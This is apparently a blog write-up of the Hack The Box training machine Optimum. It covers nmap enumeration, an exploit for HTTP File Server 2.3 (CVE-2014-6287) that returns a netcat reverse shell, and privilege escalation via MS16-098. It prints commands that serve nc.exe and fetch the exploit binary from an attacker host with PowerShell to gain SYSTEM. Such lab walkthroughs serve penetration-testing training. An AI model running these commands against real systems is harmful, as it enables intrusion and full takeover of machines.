Hack The Box Optimum Writeup

Hack The Box (HTB) is an online training platform to enhance skills in penetration testing. Optimum is a retired Windows-based box having IP 10.10.10.8.

Box Details

OSWindows
DifficultyEasy
Release18 March 2017
IP10.10.10.8

Start with Nmap

Run Nmap default scripts (-sC) and enumerate versions (-sV).

#nmap -sC -sV 10.10.10.8 | tee nmap-initial.txt

To check all open ports

 #nmap -p- 10.10.10.8 | tee nmap-all-ports.txt

Run UDP scan

#nmap -sU 10.10.10.8

As port 80 is open, try IP on web browser

Search on google to find exploit of HTTP File Server 2.3 and found CVE:2014-6287.

Read instruction to execute the payload

Identify nc.exe on Kali and copy it in current directory

#locate nc.exe

Edit payload with local IP and port. Save it. Use ifconfig to identify the IP address of your machine.

ip_addr = "10.10.14.16"

local_port = "1111"

Execute the exploit

#nc -lvnp 1111
#python -m SimpleHTTPServer 80
#python exploit.py 10.10.10.8 80

Got shell. Check user token

Privilege Escalation

Use systeminfo to identify information of OS

>systeminfo

Copy this output in text format (I have copied it in config-info.txt). Identify vulnerability by checking patches by using github repository code. Run privilege escalation exploit code by using below command:

#python windows-exploit-suggester.py --database 2020-12-02-mssb.xls --systeminfo config-info.txt

Many exploits available for privilege escalation. I have used "Microsoft Windows 8.1 (x64) - 'RGNOBJ' Integer Overflow (MS16-098)". You can downlaod 41020.exe by using github repository.

wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe

Transfer exe file to machine and execute it by using below command to get system.

powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.9/41020.exe','C:\Users\kostas\Desktop\41020.exe')"
41020.exe

Check by command "whoami". If output is below, got system.

nt authority\system

Conclusion

This article is a quick write-up on HTB Optimum Windows box. If you have some issues in any step, let me know in the comment section.

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If you have any questions, feel free to ask in the comments section below. Nothing gives me greater joy than helping my readers!

Disclaimer: This tutorial is for educational purpose only. Individual is solely responsible for any illegal act.

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